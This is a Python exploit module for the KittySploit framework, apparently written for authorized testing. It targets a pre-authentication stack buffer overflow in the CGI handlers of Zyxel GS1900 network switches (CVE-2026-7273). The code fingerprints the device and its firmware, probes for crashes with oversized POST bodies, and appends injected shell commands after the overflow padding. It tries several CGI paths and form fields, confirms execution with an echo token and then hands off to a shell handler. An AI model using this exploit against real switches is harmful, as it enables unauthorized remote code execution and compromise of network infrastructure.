Zyxel GS1900 CGI Stack Overflow RCE (CVE-2026-7273)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel GS1900 CGI stack buffer overflow (CVE-2026-7273)."""

import re
import secrets
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Zyxel GS1900 CGI Stack Overflow RCE (CVE-2026-7273)",
        "description": (
            "Exploits CVE-2026-7273 pre-authentication stack-based buffer overflow in "
            "Zyxel GS1900 smart-managed switch CGI handlers. Sends an oversized HTTP POST "
            "to /cgi-bin/dispatcher.cgi (and alternate CGI endpoints) to trigger memory "
            "corruption and attempt command execution. Firmware <= 2.90(XXXX.1)C0 is affected."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-7273"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-7273",
            "https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-stack-based-buffer-overflow-vulnerability-in-gs1900-series-switches-06-16-2026",
        ],
        "tags": ["zyxel", "gs1900", "switch", "buffer-overflow", "pre-auth", "rce", "kev"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce"],
            "chain": {
                "suggested_followups": [
                    "scanner/http/zyxel_gs1900_cve_2026_7273_detect",
                ],
            },
        },
    }

    overflow_field = OptString(
        "sysCmd",
        "Primary POST field name to overflow",
        required=False,
        advanced=True,
    )
    overflow_fields = OptString(
        "sysCmd,command,cmd,loginPassword,password,token",
        "Comma-separated field names to try",
        required=False,
        advanced=True,
    )
    overflow_size = OptInteger(
        8192,
        "Overflow payload size in bytes",
        required=False,
        advanced=True,
    )
    ramp_sizes = OptString(
        "2048,4096,8192,12288",
        "Comma-separated sizes for crash probing",
        required=False,
        advanced=True,
    )
    cgi_path = OptString(
        "/cgi-bin/dispatcher.cgi",
        "Primary CGI path",
        required=False,
        advanced=True,
    )
    alt_paths = OptString(
        "/cgi-bin/account.cgi,/cgi-bin/config.cgi",
        "Comma-separated alternate CGI paths",
        required=False,
        advanced=True,
    )

    _FW_RE = re.compile(r"2\.90\([^)]*?\.1\)C0", re.IGNORECASE)
    _PATCHED_RE = re.compile(r"2\.90\([^)]*?\.2\)C0", re.IGNORECASE)

    def _device_present(self) -> tuple[bool, str]:
        for path in ("/", "/login.cgi", "/cgi-bin/login.cgi"):
            response = self.http_request(method="GET", path=path, allow_redirects=True)
            if not response:
                continue
            body = response.text or ""
            if "gs1900" in body.lower() or "zyxel" in body.lower():
                return True, body
        return False, ""

    def _firmware_affected(self, body: str) -> bool | None:
        if self._PATCHED_RE.search(body or ""):
            return False
        if self._FW_RE.search(body or ""):
            return True
        if re.search(r"GS1900", body or "", re.IGNORECASE):
            return None
        return None

    def _field_names(self) -> list[str]:
        primary = str(self.overflow_field or "sysCmd").strip()
        extra = [
            p.strip()
            for p in str(self.overflow_fields or "").split(",")
            if p.strip()
        ]
        names = []
        for name in [primary] + extra:
            if name and name not in names:
                names.append(name)
        return names or ["sysCmd"]

    def _build_overflow_body(self, field: str, cmd: str = "", size: int | None = None) -> str:
        size = max(256, int(size or self.overflow_size or 8192))
        pad = "A" * size
        command = str(cmd or "").strip()
        if command:
            pad = f"{pad};{command};#"
        action = secrets.token_hex(4)
        return f"action={action}&{field}={urllib.parse.quote(pad, safe='')}"

    def _post_overflow(self, path: str, cmd: str = "", field: str | None = None, size: int | None = None):
        body = self._build_overflow_body(field or self._field_names()[0], cmd, size=size)
        return self.http_request(
            method="POST",
            path=path,
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            allow_redirects=False,
            timeout=15,
        )

    def _probe_crash(self, path: str) -> bool:
        baseline = self.http_request(method="GET", path=path, allow_redirects=False)
        if not baseline:
            return False
        base_code = int(baseline.status_code or 0)
        for raw in str(self.ramp_sizes or "2048,4096,8192").split(","):
            raw = raw.strip()
            if not raw.isdigit():
                continue
            probe = self._post_overflow(path, size=int(raw))
            if probe is None:
                return True
            code = int(probe.status_code or 0)
            if code in (500, 502, 503) or code != base_code:
                return True
        return False

    def execute(self, cmd: str) -> str:
        paths = [str(self.cgi_path or "/cgi-bin/dispatcher.cgi").strip()]
        paths.extend(
            p.strip()
            for p in str(self.alt_paths or "").split(",")
            if p.strip()
        )
        seen = set()
        for path in paths:
            if path in seen:
                continue
            seen.add(path)
            for field in self._field_names():
                response = self._post_overflow(path, cmd, field=field)
                if response is None:
                    continue
                text = response.text or ""
                if text and (not cmd or cmd.split()[0] not in text):
                    return text
                if int(response.status_code or 0) in (500, 502, 503):
                    return f"[HTTP {response.status_code} — possible crash on {path} field={field}]"
        return ""

    def check(self):
        present, body = self._device_present()
        if not present:
            return {
                "vulnerable": False,
                "reason": "Target does not appear to be a Zyxel GS1900 device",
                "confidence": "medium",
            }
        affected = self._firmware_affected(body)
        if affected is False:
            return {
                "vulnerable": False,
                "reason": "Firmware appears patched (2.90 x.2 C0)",
                "confidence": "high",
            }
        cgi = str(self.cgi_path or "/cgi-bin/dispatcher.cgi")
        crash_hint = self._probe_crash(cgi)
        if affected or crash_hint:
            return {
                "vulnerable": True,
                "reason": (
                    "GS1900 vulnerable firmware or abnormal CGI response to oversized POST"
                    if affected
                    else "Oversized POST altered CGI behaviour (overflow likely)"
                ),
                "confidence": "high" if affected else "medium",
            }
        return {
            "vulnerable": False,
            "reason": "GS1900 detected but overflow probe inconclusive",
            "confidence": "low",
        }

    def check_execute(self):
        token = self.random_text(8)
        output = self.execute(f"echo {token}")
        return token in (output or "")

    def run(self):
        chk = self.check()
        if not chk.get("vulnerable"):
            self.not_vulnerable(chk.get("reason"))
            return False
        print_warning(str(chk.get("reason")))
        if self.check_execute():
            print_success("Command execution confirmed")
            return self.handler_execute()
        print_status("Sending overflow payload (execution not confirmed — arch-specific ROP may be required)")
        self.execute("id")
        return False